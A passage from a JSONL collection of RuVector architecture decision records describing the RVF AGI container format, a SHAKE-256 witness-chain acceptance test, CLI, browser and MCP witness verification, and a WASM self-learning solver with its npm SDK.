EVAL_GRADERS | Grading rules |\n| 0x0109 | SKILL_LIBRARY | Promoted skill library |\n| 0x010A | REPLAY_SCRIPT | Replay automation script |\n| 0x010B | KERNEL_CONFIG | Kernel boot parameters |\n| 0x010C | NETWORK_CONFIG | Network configuration |\n| 0x010D | COHERENCE_CONFIG | Coherence gate thresholds and rules |\n| 0x010E | PROJECT_INSTRUCTIONS | Claude.md project instructions |\n| 0x010F | DEPENDENCY_SNAPSHOT | Dependency snapshot hashes |\n| 0x0110 | AUTHORITY_CONFIG | Authority level and resource budgets |\n| 0x0111 | DOMAIN_PROFILE | Target domain profile (RVText, etc.) |\n\nUnknown tags are ignored (forward-compatible).\n\n### Implementation\n\nTypes are fully implemented in `rvf-types/src/agi_container.rs` (972 lines, 24 tests).\n\n**Implemented types:**\n\n| Type | Size / Kind | Description | Tests |\n|------|-------------|-------------|-------|\n| `AgiContainerHeader` | 64 bytes (`repr(C)`) | Wire-format header with magic \"RVAG\" (0x52564147), `to_bytes()`/`from_bytes()` serialization, compile-time size assertion | 4 |\n| `ExecutionMode` | `u8` enum | Replay (0), Verify (1), Live (2) with `TryFrom` | 1 |\n| `AuthorityLevel` | `u8` enum | ReadOnly (0), WriteMemory (1), ExecuteTools (2), WriteExternal (3) with `TryFrom`, `PartialOrd`/`Ord`, `permits()`, `default_for_mode()` | 4 |\n| `ResourceBudget` | struct | Per-task resource caps with `DEFAULT`, `EXTENDED`, `MAX` presets and `clamped()` method | 3 |\n| `CoherenceThresholds` | struct | Three configurable thresholds (`min_coherence_score`, `max_contradiction_rate`, `max_rollback_ratio`) with `DEFAULT`, `STRICT` presets and `validate()` method | 5 |\n| `ContainerSegments` | struct | Segment presence tracker with `validate(mode)` and `to_flags()` | 7 |\n| `ContainerError` | enum | 6 variants: MissingSegment, TooLarge, InvalidConfig, SignatureInvalid, InsufficientAuthority, BudgetExhausted with `Display` | 1 |\n\n**Constants defined:**\n- 13 flag constants (`AGI_HAS_KERNEL` through `AGI_HAS_DOMAIN_EXPANSION`, bits 0-12)\n- 22 TLV manifest tag constants (`AGI_TAG_CONTAINER_ID` 0x0100 through `AGI_TAG_COUNTEREXAMPLES` 0x0115)\n- Includes 4 domain expansion tags: `AGI_TAG_TRANSFER_PRIOR` (0x0112), `AGI_TAG_POLICY_KERNEL` (0x0113), `AGI_TAG_COST_CURVE` (0x0114), `AGI_TAG_COUNTEREXAMPLES` (0x0115)\n\n**Key design properties:**\n- `AuthorityLevel::permits()` enables level comparison: `WriteExternal` permits all lower levels\n- `AuthorityLevel::default_for_mode()` maps Replay->ReadOnly, Verify->ExecuteTools, Live->WriteMemory\n- `ResourceBudget::clamped()` enforces hard ceilings (`MAX` preset) that cannot be overridden\n- `CoherenceThresholds::validate()` rejects out-of-range values\n- `ContainerSegments::validate(mode)` enforces mode-specific segment requirements\n- `ContainerSegments::to_flags()` computes the bitfield from present segments\n- All types are `no_std` compatible and exported from `rvf-types/src/lib.rs`\n\n## Acceptance Test\n\nRun the same RVF artifact on two separate machines owned by two separate teams.\n\n**Suite:** 100 tasks (30 requiring tool use, 70 internal reasoning/memory)\n\n**Pass criteria:**\n1. Replay mode produces identical grader outputs for all 100 tasks\n2. Verify mode produces at least 95/100 passing on both machines\n3. Zero policy violations\n4. Every externally checkable claim has evidence pointers\n5. Witness chain verifies end-to-end\n\n## References\n\n- ADR-029: RVF Canonical Format (segment model, wire format, manifest)\n- ADR-030: Cognitive Container (KERNEL_SEG, EBPF_SEG, three-tier execution)\n- ADR-031: RVCOW Branching (COW branching, KernelBinding)\n- ADR-033: Progressive Indexing Hardening (quality framework, coherence gates, safety budgets)\n- ADR-034: QR Cognitive Seed (portable bootstrap, zero-dep crypto)\n- ADR-035: Capability Report (witness bundles, scorecards, governance)\n- RVF format specification (rvf-types, rvf-runtime, rvf-manifest)\n- RFC 8032: Ed25519\n- FIPS 180-4: SHA-256\n- Dynamic minimum-cut (arXiv preprint referenced in RuVector mincut crate)\n\n## Revision History\n\n| Version | Date | Author | Changes |\n|---------|------|--------|---------|\n| 1.0 | 2026-02-15 | ruv.io | Initial proposal |\n| 1.1 | 2026-02-15 | architecture review | Resolved open questions (domain, authority, resource budgets, coherence thresholds). Added wire format section. Added cross-references to ADR-029/030/031/033. Added AuthorityLevel enum and resource budget types. Tightened ContainerSegments validation. |\n| 1.2 | 2026-02-16 | implementation review | Status updated to Partially Implemented. Documented full wire-format implementation in rvf-types/src/agi_container.rs (972 lines, 24 tests). All header types, enums, constants, and validators are implemented and exported. Domain expansion TLV tags (0x0112-0x0115) integrated. |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-036-agi-cognitive-container.md", "created_at": "2026-03-28T11:58:49.233304+00:00", "content_hash": "036a07f38848646c6a1e1b46b0745b7647091fdc0e595dbce011bc901a971cfa"} +{"id": "2589f3be-303f-4130-9174-3fa10a1a3699", "source": "adr", "text": "# ADR-037: Publishable RVF Acceptance Test\n\n| Field | Value |\n|-------|-------|\n| **Status** | Accepted |\n| **Date** | 2026-02-16 |\n| **Deciders** | RuVector core team |\n| **Supersedes** | \u2014 |\n| **Related** | ADR-029 (RVF canonical format), ADR-032 (RVF WASM integration), ADR-039 (RVF Solver WASM AGI integration) |\n\n## Context\n\nTemporal reasoning benchmarks produce results that are difficult for external developers to verify independently. Traditional benchmark reports rely on trust: the publisher runs the tests and shares aggregate metrics, but there is no mechanism for a third party to prove that the exact same computations produced those results. This gap matters for publishable research artifacts and for building confidence in the ablation study methodology.\n\nThe RVF format already provides a cryptographic witness chain infrastructure (WITNESS_SEG 0x0A) using SHAKE-256 hash linking, but this capability had not been applied to acceptance testing.\n\n## Decision\n\nWe integrate the publishable acceptance test directly with the native RVF crate infrastructure to produce a self-contained, offline-verifiable artifact:\n\n### 1. SHAKE-256 witness chain (rvf-crypto native)\n\nThe acceptance test replaces the standalone SHA-256 chain with `rvf_crypto::shake256_256` for all hash computations. Every puzzle decision (skip mode, context bucket, solve outcome, step count) is hashed into a SHAKE-256 chain where `chain_hash[i] = SHAKE-256(prev_hash || canonical_bytes(record))`. The chain is deterministic: frozen seeds produce identical puzzles, identical solve paths, and identical root hashes.\n\nThe parallel `rvf_crypto::WitnessEntry` list (73 bytes each: `prev_hash[32] + action_hash[32] + timestamp_ns[8] + witness_type[1]`) is built alongside the JSON chain, enabling native `.rvf` binary export.\n\n### 2. Dual-format output (JSON + .rvf binary)\n\nThe `generate_manifest_with_rvf()` function produces both:\n\n- **JSON manifest**: Human-readable scorecard, ablation assertions, full witness chain with hex hashes. Suitable for review, CI comparison, and documentation.\n- **`.rvf` binary**: A valid RVF file containing:\n - `WITNESS_SEG` (0x0A): Native 73-byte entries created by `rvf_crypto::create_witness_chain()`, verifiable by `rvf_crypto::verify_witness_chain()`.\n - `META_SEG` (0x07): JSON-encoded scorecards, assertions, and config metadata.\n\n### 3. WASM witness verification\n\nTwo new exports added to `rvf-wasm`:\n\n| Export | Signature | Description |\n|--------|-----------|-------------|\n| `rvf_witness_verify` | `(chain_ptr, chain_len) -> i32` | Verify SHAKE-256 chain integrity. Returns entry count or negative error. |\n| `rvf_witness_count` | `(chain_len) -> i32` | Count entries without full verification. |\n\nThis enables browser-side verification of acceptance test `.rvf` files without any backend.\n\n### 4. Feature-gated ed25519 in rvf-crypto\n\nTo add `rvf-crypto` as a dependency to the no_std WASM microkernel without pulling in the heavy `ed25519-dalek` crate, the `sign` module is now gated behind an `ed25519` feature flag:\n\n```toml\n[features]\ndefault = [\"std\", \"ed25519\"]\ned25519 = [\"dep:ed25519-dalek\"]\n```\n\nThe hash, witness, attestation, lineage, and footer modules remain available without `ed25519`. Existing callers that use default features are unaffected.\n\n### 5. Three-mode ablation grading\n\nThe acceptance test runs all three ablation modes and asserts six properties:\n\n| Assertion | Criterion |\n|-----------|-----------|\n| B beats A on cost | >= 15% cost reduction |\n| C beats B on robustness | >= 10% noise accuracy gain |\n| Compiler safe | < 5% false-hit rate |\n| A skip nonzero | Fixed policy uses skip modes |\n| C multi-mode | Learned policy uses >= 2 skip modes |\n| C penalty < B penalty | Learned policy reduces early-commit penalty |\n\nAll assertions, per-mode scorecards, and the witness chain root hash are included in the publishable artifact.\n\n## Verification Protocol\n\nAn external developer reproduces the test:\n\n```bash\n# 1. Generate with default config (Rust)\ncargo run --bin acceptance-rvf -- generate -o manifest.json\n\n# 2. Compare chain root hash\n# If chain_root_hash matches, outcomes are bit-for-bit identical\n\n# 3. Verify the .rvf binary witness chain\ncargo run --bin acceptance-rvf -- verify-rvf -i acceptance_manifest.rvf\n\n# 4. Or verify in-browser via WASM:\n# const count = rvf_witness_verify(chainPtr, chainLen);\n```\n\nAn npm-based verification path is also available via `@ruvector/rvf-solver`:\n\n```typescript\nimport { RvfSolver } from '@ruvector/rvf-solver';\n\n// Run the same acceptance test from JavaScript/TypeScript\nconst solver = await RvfSolver.create();\nconst manifest = solver.acceptance({\n holdoutSize: 100,\n trainingPerCycle: 100,\n cycles: 5,\n stepBudget: 400,\n seed: 42n,\n});\n\n// manifest.allPassed === true means Mode C (learned policy) passed\n// manifest.witnessEntries gives the chain entry count\n// solver.witnessChain() returns the raw SHAKE-256 bytes for verification\n\nsolver.destroy();\n```\n\n## Consequences\n\n### Positive\n\n- External developers can independently verify benchmark outcomes offline\n- The `.rvf` binary is compatible with all RVF tooling (CLI, WASM, Node.js)\n- Browser-side verification via `rvf_witness_verify` requires zero backend\n- Deterministic replay means same config always produces same root hash\n- The SHAKE-256 chain is forward-compatible with RVF's attestation infrastructure\n\n### Negative\n\n- Switching from SHA-256 to SHAKE-256 changes existing chain root hashes (version bumped to 2)\n- The `ed25519` feature gate adds a minor complexity to rvf-crypto's feature matrix\n- The WASM binary size increases slightly with the sha3 dependency\n\n### Neutral\n\n- JSON and .rvf outputs are independent \u2014 either can be used alone\n- The `rvf_witness_count` export is a convenience that avoids full verification cost", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-037-publishable-rvf-acceptance-test.md", "created_at": "2026-03-28T11:58:49.233465+00:00", "content_hash": "fe0e772f1fb31feb5aab71be5a9d923cc6e647ac36f2cd480d15693a22d443dc"} +{"id": "0d95101a-0841-4058-92aa-e421a57d3eca", "source": "adr", "text": "# ADR-038: npx ruvector & rvlite Witness Verification Integration\n\n| Field | Value |\n|-------|-------|\n| **Status** | Proposed |\n| **Date** | 2026-02-16 |\n| **Deciders** | RuVector core team |\n| **Supersedes** | -- |\n| **Related** | ADR-029 (RVF canonical format), ADR-032 (RVF WASM integration), ADR-037 (Publishable RVF acceptance test) |\n\n## Context\n\nADR-037 introduced the publishable RVF acceptance test, which produces two artifacts:\n\n1. **JSON manifest** -- human-readable scorecards, ablation assertions, and SHAKE-256 witness chain\n2. **`.rvf` binary** -- native WITNESS_SEG (0x0A) + META_SEG (0x07), verifiable by `rvf_crypto::verify_witness_chain()`\n\nADR-032 added `rvf_witness_verify` and `rvf_witness_count` exports to `rvf-wasm`, enabling browser-side verification.\n\nHowever, neither the `npx ruvector` CLI nor the `rvlite` browser runtime currently exposes witness chain verification to end users. The Rust `rvf-cli` has `rvf verify-witness` (17 subcommands), but the Node.js wrapper in `npm/packages/ruvector/bin/cli.js` does not surface it. Similarly, `rvlite` lists `@ruvector/rvf-wasm` as an optional peer dependency but does not call the witness verification exports.\n\nThis means an external developer who receives a `.rvf` acceptance test artifact currently needs the Rust toolchain to verify it. The goal is zero-friction verification via `npx` or a browser import.\n\n## Decision\n\n### 1. `npx ruvector rvf verify-witness `\n\nAdd a `rvf verify-witness` subcommand to the ruvector Node.js CLI (`npm/packages/ruvector/bin/cli.js`):\n\n```\nnpx ruvector rvf verify-witness acceptance_manifest.rvf\n```\n\n**Implementation path** (ordered by preference):\n\n| Backend | Mechanism | Latency | Availability |\n|---------|-----------|---------|--------------|\n| Native N-API | `@ruvector/rvf-node` binding to `rvf_crypto::verify_witness_chain()` | <1ms | When native binary is installed |\n| WASM | `@ruvector/rvf-wasm` `rvf_witness_verify()` export | ~5ms | Always (WASM is universal) |\n\nThe CLI auto-detects the best available backend (same pattern as the existing `VectorDB` platform detection). It loads the `.rvf` file, locates the first WITNESS_SEG, extracts the payload, and calls the verification function.\n\n**Output format:**\n\n```\nVerifying witness chain: acceptance_manifest.rvf\n Segment type: WITNESS_SEG (0x0A)\n Entry count: 147 entries (73 bytes each)\n Chain status: INTACT -- all hashes verified (SHAKE-256)\n VERIFICATION: PASSED\n```\n\n**Error cases:**\n\n```\n Chain status: BROKEN at entry 42 -- prev_hash mismatch\n VERIFICATION: FAILED (exit code 1)\n```\n\n### 2. `npx ruvector rvf inspect `\n\nExtend the existing `rvf inspect` to parse and display acceptance test metadata from the META_SEG:\n\n```\nnpx ruvector rvf inspect acceptance_manifest.rvf\n\nSegments:\n [0] WITNESS_SEG 0x0A 10,731 bytes (147 entries)\n [1] META_SEG 0x07 2,048 bytes (JSON metadata)\n\nAcceptance Test Metadata:\n Format: rvf-acceptance-test v2\n Chain root hash: 7a3f...b2c1\n All passed: true\n Scorecards: 3 modes (A/B/C)\n```\n\n### 3. `rvlite` browser SDK -- `verifyWitnessChain()`\n\nAdd a `verifyWitnessChain()` function to the rvlite SDK (`npm/packages/rvlite/src/index.ts`):\n\n```typescript\nimport { verifyWitnessChain } from 'rvlite';\n\n// Load .rvf file (e.g., from fetch or File API)\nconst rvfBytes = await fetch('acceptance_manifest.rvf').then(r => r.arrayBuffer());\nconst result = verifyWitnessChain(new Uint8Array(rvfBytes));\n\nconsole.log(result.valid); // true\nconsole.log(result.entryCount); // 147\nconsole.log(result.error); // null or error description\n```\n\n**Implementation:**\n\n```typescript\nexport interface WitnessVerifyResult {\n valid: boolean;\n entryCount: number;\n error: string | null;\n}\n\nexport function verifyWitnessChain(rvfBytes: Uint8Array): WitnessVerifyResult {\n // 1. Parse segment header to find WITNESS_SEG\n // 2. Extract payload bytes\n // 3. Allocate WASM memory, copy payload\n // 4. Call rvf_witness_verify(ptr, len)\n // 5. Interpret result (positive = count, negative = error code)\n // 6. Free WASM memory\n}\n```\n\nThis function:\n- Requires `@ruvector/rvf-wasm` (already an optional peer dep in rvlite)\n- Throws a clear error if the WASM module is not available\n- Handles WASM memory allocation/deallocation internally\n- Returns a typed result object, not a raw integer\n\n### 4. `rvlite` CLI -- `rvlite verify-witness `\n\nRegister a `verify-witness` command in `cli-rvf.ts` alongside the existing `rvf-migrate` and `rvf-rebuild` commands:\n\n```bash\nnpx rvlite verify-witness acceptance_manifest.rvf\n```\n\nThis uses the same WASM backend as the SDK function above.\n\n### 5. MCP tool -- `rvf_verify_witness`\n\nAdd to the ruvector MCP server (`npm/packages/ruvector/bin/mcp-server.js`) so Claude Code can verify acceptance test artifacts directly:\n\n```json\n{\n \"name\": \"rvf_verify_witness\",\n \"description\": \"Verify SHAKE-256 witness chain in an .rvf file\",\n \"input_schema\": {\n \"type\": \"object\",\n \"properties\": {\n \"path\": { \"type\": \"string\", \"description\": \"Path to .rvf file\" }\n },\n \"required\": [\"path\"]\n }\n}\n```\n\n## Integration Surface\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 acceptance-rvf (Rust) \u2502\n \u2502 generate + verify \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 produces\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 acceptance_manifest.rvf \u2502\n \u2502 WITNESS_SEG + META_SEG \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 \u2502 \u2502\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 npx ruvector \u2502 \u2502 npx rvlite \u2502 \u2502 Browser (rvlite \u2502\n \u2502 rvf \u2502 \u2502 verify- \u2502 \u2502 SDK) \u2502\n \u2502 verify-witness \u2502 \u2502 witness \u2502 \u2502 verifyWitness \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 Chain() \u2502\n \u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 @ruvector/rvf-wasm \u2502\n \u2502 rvf_witness_verify(chain_ptr, chain_len) -> i32 \u2502\n \u2502 rvf_witness_count(chain_len) -> i32 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Implementation Order\n\n| Phase | Work | Package | Complexity |\n|-------|------|---------|------------|\n| **1** | `verifyWitnessChain()` SDK function | `rvlite` | Low -- WASM call + segment parsing |\n| **2** | `verify-witness` CLI command | `rvlite` | Low -- wraps SDK function |\n| **3** | `rvf verify-witness` CLI subcommand | `ruvector` | Medium -- N-API fallback + WASM detection |\n| **4** | `rvf inspect` metadata display | `ruvector` | Low -- parse META_SEG JSON |\n| **5** | `rvf_verify_witness` MCP tool | `ruvector` | Low -- wraps CLI logic |\n\nEach phase is independently shippable. Phase 1+2 enable browser verification. Phase 3-5 enable CLI and agent verification.\n\n## Consequences\n\n### Positive\n\n- External developers verify `.rvf` acceptance tests with `npx ruvector rvf verify-witness` -- zero Rust toolchain required\n- Browser-based verification via `rvlite` SDK requires only `npm install rvlite @ruvector/rvf-wasm`\n- Claude Code agents can verify witness chains via MCP tool without file manipulation\n- Consistent verification path: Rust CLI, Node.js CLI, browser SDK, and WASM microkernel all use the same `rvf_witness_verify` implementation\n- Auto-detection prefers native N-API when available for sub-millisecond verification\n\n### Negative\n\n- WASM module adds ~46 KB to rvlite when `@ruvector/rvf-wasm` is installed\n- Segment header parsing must be duplicated in TypeScript (WASM only verifies the chain payload, not the segment framing)\n- N-API binding for `verify_witness_chain` does not exist yet in `rvf-node` -- Phase 3 requires adding it\n\n### Neutral\n\n- The JSON manifest verification (`verify --input manifest.json`) remains available via the Rust binary for users who prefer JSON over binary `.rvf`\n- `@ruvector/rvf-wasm` remains an optional peer dependency -- rvlite works without it but witness verification is unavailable", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-038-npx-ruvector-rvlite-witness-integration.md", "created_at": "2026-03-28T11:58:49.233587+00:00", "content_hash": "72fb5954659823177637f39a8537e139a703492c5b987270ef420d40cd342371"} +{"id": "f1996563-9782-4a09-8fef-1826aaf53b1e", "source": "adr", "text": "# ADR-039: RVF Solver WASM \u2014 Self-Learning AGI Engine Integration\n\n| Field | Value |\n|-------|-------|\n| **Status** | Implemented |\n| **Date** | 2026-02-16 (updated 2026-02-17) |\n| **Deciders** | RuVector core team |\n| **Supersedes** | -- |\n| **Related** | ADR-032 (RVF WASM integration), ADR-037 (Publishable RVF acceptance test), ADR-038 (npx/rvlite witness verification) |\n\n## Context\n\nADR-037 established the publishable RVF acceptance test with a SHAKE-256 witness chain, and ADR-038 planned npm integration for **verifying** those artifacts. However, neither the existing `rvf-wasm` microkernel nor the npm packages expose the actual self-learning engine that produces the AGI benchmarks.\n\nThe core AGI capabilities live exclusively in the Rust benchmarks crate (`examples/benchmarks/src/`):\n- **PolicyKernel**: Thompson Sampling two-signal model (safety Beta + cost EMA)\n- **KnowledgeCompiler**: Signature-based pattern cache with compiled skip-mode configs\n- **AdaptiveSolver**: Three-loop architecture (fast: solve, medium: policy, slow: compiler)\n- **ReasoningBank**: Trajectory tracking with checkpoint/rollback and non-regression gating\n- **Acceptance test**: Multi-cycle training/holdout evaluation with three ablation modes\n\nThese components have no FFI dependencies, no filesystem access during solve, and no system clock requirements \u2014 making them ideal candidates for WASM compilation.\n\n## Decision\n\n### Create `rvf-solver-wasm` as a standalone no_std WASM module\n\nA new crate at `crates/rvf/rvf-solver-wasm/` compiles the complete self-learning solver to `wasm32-unknown-unknown`. It is a `no_std + alloc` crate (same architecture as `rvf-wasm`) with a C ABI export surface.\n\n**Key design choices:**\n\n| Choice | Rationale |\n|--------|-----------|\n| **no_std + alloc** | Matches rvf-wasm pattern, runs in any WASM runtime (browser, Node.js, edge) |\n| **Self-contained types** | Pure-integer `Date` type replaces `chrono` dependency; `BTreeMap` replaces `HashMap` |\n| **libm for float math** | `sqrt`, `log`, `cos`, `pow` via `libm` crate (pure Rust, no_std compatible) |\n| **xorshift64 RNG** | Deterministic, no `rand` crate dependency, identical to benchmarks RNG |\n| **C ABI exports** | Maximum compatibility \u2014 works with any WASM host (no wasm-bindgen required) |\n| **Handle-based API** | Up to 8 concurrent solver instances, same pattern as `rvf_store_*` exports |\n\n### WASM Export Surface\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 rvf-solver-wasm exports \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Memory: \u2502\n\u2502 rvf_solver_alloc(size) -> ptr \u2502\n\u2502 rvf_solver_free(ptr, size) \u2502\n\u2502 \u2502\n\u2502 Lifecycle: \u2502\n\u2502 rvf_solver_create() -> handle \u2502\n\u2502 rvf_solver_destroy(handle) \u2502\n\u2502 \u2502\n\u2502 Training (three-loop learning): \u2502\n\u2502 rvf_solver_train(handle, count, \u2502\n\u2502 min_diff, max_diff, seed_lo, seed_hi) -> i32 \u2502\n\u2502 \u2502\n\u2502 Acceptance test (full ablation): \u2502\n\u2502 rvf_solver_acceptance(handle, holdout, \u2502\n\u2502 training, cycles, budget, \u2502\n\u2502 seed_lo, seed_hi) -> i32 \u2502\n\u2502 \u2502\n\u2502 Result / Policy / Witness reads: \u2502\n\u2502 rvf_solver_result_len(handle) -> i32 \u2502\n\u2502 rvf_solver_result_read(handle, out_ptr) -> i32 \u2502\n\u2502 rvf_solver_policy_len(handle) -> i32 \u2502\n\u2502 rvf_solver_policy_read(handle, out_ptr) -> i32 \u2502\n\u2502 rvf_solver_witness_len(handle) -> i32 \u2502\n\u2502 rvf_solver_witness_read(handle, out_ptr) -> i32 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n### Architecture Preserved in WASM\n\nThe WASM module preserves all five AGI capabilities:\n\n1. **Thompson Sampling two-signal model** \u2014 Beta posterior for safety (correct & no early-commit) + EMA for cost. Gamma sampling via Marsaglia's method using `libm`.\n\n2. **18 context buckets** \u2014 3 range (small/medium/large) x 3 distractor (clean/some/heavy) x 2 noise = 18 buckets. Each bucket maintains per-arm stats for `None`, `Weekday`, `Hybrid` skip modes.\n\n3. **Speculative dual-path** \u2014 When top-2 arms are within delta 0.15 and variance > 0.02, the solver speculatively executes the secondary arm. This is preserved identically in WASM.\n\n4. **KnowledgeCompiler** \u2014 Constraint signature cache (`v1:{difficulty}:{sorted_constraint_types}`). Compiles successful trajectories into optimized configs with compiled skip-mode, step budget, and confidence scores.\n\n5. **Three-loop solver** \u2014 Fast (constraint propagation + solve), Medium (PolicyKernel selection), Slow (ReasoningBank \u2192 KnowledgeCompiler). Checkpoint/rollback on accuracy regression.\n\n### Integration with RVF Ecosystem\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 rvf-solver-wasm \u2502 \u2502 rvf-wasm \u2502\n\u2502 (self-learning \u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u25b6 \u2502 (verification) \u2502\n\u2502 AGI engine) \u2502 witness \u2502 \u2502\n\u2502 \u2502 chain \u2502 rvf_witness_verify \u2502\n\u2502 rvf_solver_train \u2502 \u2502 rvf_witness_count \u2502\n\u2502 rvf_solver_acceptance\u2502 \u2502 \u2502\n\u2502 rvf_solver_witness_* \u2502 \u2502 rvf_store_* \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 uses\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u25bc\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 rvf-crypto \u2502\n \u2502 SHAKE-256 \u2502\n \u2502 witness \u2502\n \u2502 chain \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\nThe solver produces a SHAKE-256 witness chain (via `rvf_crypto::create_witness_chain`) for every acceptance test run. This chain is in the native 73-byte-per-entry format, directly verifiable by `rvf_witness_verify` in the rvf-wasm microkernel.\n\n### npm Integration Path\n\n#### High-Level SDK (`@ruvector/rvf-solver`)\n\nThe `@ruvector/rvf-solver` npm package provides a typed TypeScript wrapper around the raw WASM C-ABI exports, with automatic WASM loading, memory management, and JSON deserialization.\n\n```typescript\nimport { RvfSolver } from '@ruvector/rvf-solver';\n\n// Create solver (lazy-loads WASM on first call)\nconst solver = await RvfSolver.create();\n\n// Train on 1000 puzzles (three-loop learning)\nconst result = solver.train({ count: 1000, minDifficulty: 1, maxDifficulty: 10, seed: 42n });\nconsole.log(`Accuracy: ${(result.accuracy * 100).toFixed(1)}%`);\n\n// Run full acceptance test (A/B/C ablation)\nconst manifest = solver.acceptance({ holdoutSize: 100, trainingPerCycle: 100, cycles: 5, seed: 42n });\nconsole.log(`Mode C passed: ${manifest.allPassed}`);\n\n// Inspect policy state (Thompson Sampling parameters, context buckets)\nconst policy = solver.policy();\nconsole.log(`Context buckets: ${Object.keys(policy?.contextStats ?? {}).length}`);\n\n// Get tamper-evident witness chain (73 bytes per entry, SHAKE-256)\nconst chain = solver.witnessChain();\nconsole.log(`Witness chain: ${chain?.length ?? 0} bytes`);\n\nsolver.destroy();\n```\n\nThe SDK also re-exports through the unified `@ruvector/rvf` package:\n\n```typescript\n// Unified import \u2014 solver + database in one package\nimport { RvfDatabase, RvfSolver } from '@ruvector/rvf';\n```\n\n#### npm Package Structure\n\n```\nnpm/packages/rvf-solver/\n\u251c\u2500\u2500 package.json # @ruvector/rvf-solver, CJS/ESM dual exports\n\u251c\u2500\u2500 tsconfig.json # 